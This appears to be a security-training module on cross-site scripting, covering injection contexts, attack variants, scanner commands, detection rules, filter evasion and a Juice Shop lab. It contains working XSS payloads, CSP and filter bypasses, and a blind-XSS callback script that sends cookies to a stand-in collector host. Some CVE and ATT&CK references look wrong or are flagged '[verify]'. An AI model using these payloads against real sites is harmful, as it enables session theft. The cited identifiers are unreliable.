Cross-Site Scripting (XSS)
XSS is the failure to enforce a context boundary between attacker-controlled data and the browser’s HTML/JS parser. The browser renders whatever bytes are in the response body; if those bytes contain <script> and the response Content-Type is HTML, the script runs in the origin of the document. Samy Kamkar’s 2007 MySpace worm infected 1M accounts in 20 hours through stored XSS — and the same class of bug is still responsible for most account-takeover chains in 2024 SaaS apps.
The Core Concept
Section titled “The Core Concept”There are four parsing contexts an injected payload can land in. Each context has different escape rules and different sink points where the payload becomes live code.
┌─────────────────────────────────────────────────────────────┐ │ HTML body <div>USER_INPUT</div> │ │ needs: escape < > & │ │ sink: <script>...</script>, <img onerror=...> │ ├─────────────────────────────────────────────────────────────┤ │ Attribute <input value="USER_INPUT"> │ │ needs: escape " ' │ │ sink: " onmouseover=alert(1) x=" │ ├─────────────────────────────────────────────────────────────┤ │ <script> var x='USER_INPUT'; │ │ needs: escape \ and the string terminator │ │ sink: ';alert(1);// │ ├─────────────────────────────────────────────────────────────┤ │ URL <a href="USER_INPUT"> │ │ needs: validate scheme (block javascript:, data:) │ │ sink: javascript:alert(1) │ └─────────────────────────────────────────────────────────────┘The DOM is a tree, and the browser parses top-down. The HTML parser hands <script> blocks to the JS engine; <style> to the CSS parser; HTML comments <!-- --> are stripped before rendering. XSS is exploiting the parser transitions to make the browser run code in a context you control.
How It Works
Section titled “How It Works”- Reflected XSS — the payload comes from the request and is echoed in the response.
?q=<script>alert(1)</script>echoed back unescaped. Fires once, requires the victim to click a crafted link. - Stored XSS — the payload is persisted (database, comment, profile) and rendered to anyone who views the page. Samy worm, the 2014 BBC iPlayer XSS, most forum injections.
- DOM-based XSS — the payload never touches the server; client-side JS reads
location.hashorlocation.searchand writes it to the DOM viainnerHTML,document.write, oreval. No server logs, no WAF signature (the payload lives in the URL fragment, which is never sent to the server). - Mutation XSS (mXSS) — the sanitizer parses the input one way and the browser re-parses it differently. The classic vector is
<noscript><p title="</noscript><img src=x onerror=alert(1)>">— the sanitizer sees a<p>with atitleattribute, but the browser with JS enabled sees the closing</noscript>and re-opens the parsing context. CVE-2018-20483 and the DOMPurify CVE-2020-26970 were both mXSS. - Sink execution — once the payload lands in a sink, the JS engine evaluates it in the origin of the page. The payload then has full DOM access, cookie access (unless
HttpOnly), and same-origin XHR.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Reflected | ?q=<svg onload=alert(1)> echoed in HTML body | Easy — WAF sees payload |
| Stored | Comment field stores <img src=x onerror=alert(document.cookie)> | Easy when input is scanned pre-storage |
| DOM-based | location.hash → innerHTML, no server roundtrip | Hard — payload in URL fragment never sent to server |
| Mutation (mXSS) | Sanitizer parses differently than browser | Hard — bypasses server-side sanitization |
| Polyglot | jaVasCript:/*-/*/`/’/”/**/(/ */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/—!>\x3csVg/<sVg/oNloAd=alert()//>\x3e` | Hard — passes through many filters |
| CSP bypass via JSONP | https://allowed-csp.com/api?callback=alert(1)// | Medium — depends on CSP script-src allowlist |
| Angular sandbox escape | {{$on.constructor('alert(1)')()}} | Medium — framework-aware payloads |
Hands-On Commands
Section titled “Hands-On Commands”# Reflected XSS detection via Dalfox (Korean for "XSS")dalfox url "http://target/search?q=plz" --blind "https://your-callback.xss.ht"
# Nuclei with the XSS tag setnuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags xss
# Burp Suite Scanner — both passive (probe) and active (fuzz) modes# Active scan profile: "XSS" embeds ~3000 payloads across contexts
# Manual DOM-based XSS detection — grep for sinks in the rendered JScurl -s http://target/app.js | grep -nE 'innerHTML|outerHTML|document\.write|eval\(|setTimeout\((["\x27])|setInterval\('
# Browser console — confirm a DOM XSS# location.hash = '#<img src=x onerror=alert(1)>'# then check the DOM for the injected <img>
# XSS Hunter payload (blind, with screenshot + DOM dump + cookies)<script src="https://your.xss.ht"></script>
# Polyglot for fuzzing across contexts (Rsnake's, updated):"><img src=x onerror=alert(1)>"<svg/onload=alert(1)>javascript:alert(1)//\
# Confirm CSP that blocks inline but allows 'unsafe-inline' fallbackcurl -sI http://target | grep -i 'content-security-policy'Detection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS rule 941100 — XSS family (941100–941190). Notable:
- 941100 — XSS Attack Detected via libinjection
- 941110 — XSS Filter - Category 1: Script Tag Vector
- 941120 — XSS Filter - Category 2: Event Handler Vector (
onload=,onerror=) - 941130 — XSS Filter - Category 3: Attribute Vector (
javascript:,data:) - 941140 — XSS Filter - Category 4: JS URI Schemes Vector
- 941160 — XSS Filter - Category 5: HTML Attribute Vector
- 941180 — XSS Filter - Category 6: NoScript XSS FilterHackCheck
- 941190 — XSS Filter - IE XSS Filters
Suricata SID 2002987 — Cross-site scripting attempt [verify].
Sysmon Event ID 22 — DNSEvent — correlation: browser process resolves an attacker callback domain after a XSS fire. Useful for blind XSS detection at the endpoint.
MITRE ATT&CK T1059.007 — JavaScript — when the payload’s effect is RCE via an Electron app or via a SSRF chain in a headless browser.
MITRE ATT&CK T1185 — Browser Security Bypass (man-in-the-browser session hijacking via XSS).
Wazuh rule 31171 — XSS attempt pattern in HTTP request [verify].
Evasion Techniques
Section titled “Evasion Techniques”HTML entity encoding bypass. <script> decoded by the browser is <script>. If the WAF matches raw bytes but the app decodes entities before output, the payload slips through. Use t:htmlEntityDecode in CRS to normalize first.
UTF-7 legacy encoding. +ADw-script+AD4- was the IE6 era. Modern browsers don’t auto-detect UTF-7 anymore, but some custom parsers still do.
Unicode normalization issues. \u003c in JSON-encoded outputs is < once JSON.parse runs. The XSS lives in the decoded JSON, not the original response.
SVG vectors. <svg><animate onbegin=alert(1) attributeName=x dur=1s> — animation events are not in the XSS keyword list. CRS catches onbegin after 941160.
CSP bypass via JSONP. If script-src allows https://www.google.com, Google’s JSONP endpoint https://www.google.com/complete/search?client=chrome&q=x&callback=alert returns alert(...) as a JS file.
| Evasion | Bypasses | Defense |
|---|---|---|
HTML entity (<) | Byte-level regex | t:htmlEntityDecode first |
| Backtick-quoted JS template literals | Single/double-quote string regex | Strip backticks in script context |
| SVG animate / use / foreignObject | Top-N keyword list (<script, onerror) | Full HTML5 sink list (DOMPurify) |
| JSONP callback on whitelisted domain | Strict CSP script-src 'self' | CSP 'self' + disallow JSONP endpoints |
data:text/html;base64,... | src= value validation | Block data: scheme in object-src and script-src |
⚠️ What caught me: A SaaS had a strict CSP —
script-src 'self' https://cdn.example.com. I assumed it was solid until I found a JSONP endpoint athttps://cdn.example.com/api/v1/users?callback=PAYLOADthat returned arbitrary JS within acallback(...)wrapper. The CSP wasself+CDN; the CDN itself was the bypass. Lesson: CSP is only as strong as the strictest whitelist entry. One permissive JSONP endpoint invalidates the entirescript-srcpolicy.
Lab Practice
Section titled “Lab Practice”Container: OWASP Juice Shop XSS challenges (/score-board filter XSS), plus the dedicated XSS playground.
docker run --rm -p 3000:3000 bkimminich/juice-shop# Solve: DOM XSS, Reflected XSS, Stored XSS, HTTP-Verb XSSObjective: solve at least one challenge in each of reflected, stored, and DOM-based categories. For stored XSS, demonstrate a payload that survives a JSON.parse round-trip.
Expected flag format: flag{xss_three_categories_juice_shop_complete}.
Detection that should fire: ModSecurity CRS 941100 series on every payload except the DOM-based (since the URL fragment is never sent to the server — that is the entire point of DOM XSS). For DOM XSS, the detection lives in the browser — a SIEM ingesting Chrome’s Reporting-Endpoints reports or a CSP report-uri will catch the violation.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between server-side XSS (reflected/stored) and DOM-based XSS in terms of what bytes hit the server and where the actual sink lives.
Technical: walk through how a mutation XSS (mXSS) defeats DOMPurify, naming the specific parser-difference that causes the bypass.
Scenario: a web app has script-src 'self' CSP and HttpOnly cookies. Is XSS still useful to an attacker? Give two concrete post-XSS actions an attacker can take.
Why is innerHTML dangerous but textContent safe? What other DOM properties have the same risk profile as innerHTML?
Compare session-hijacking via XSS + HttpOnly=false vs via XSS + XMLHttpRequest to a same-origin API endpoint that returns sensitive data. Which is harder to detect and why?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W4 (Cross-Site Request Forgery) · W20 (CSP & Mitigation Patterns)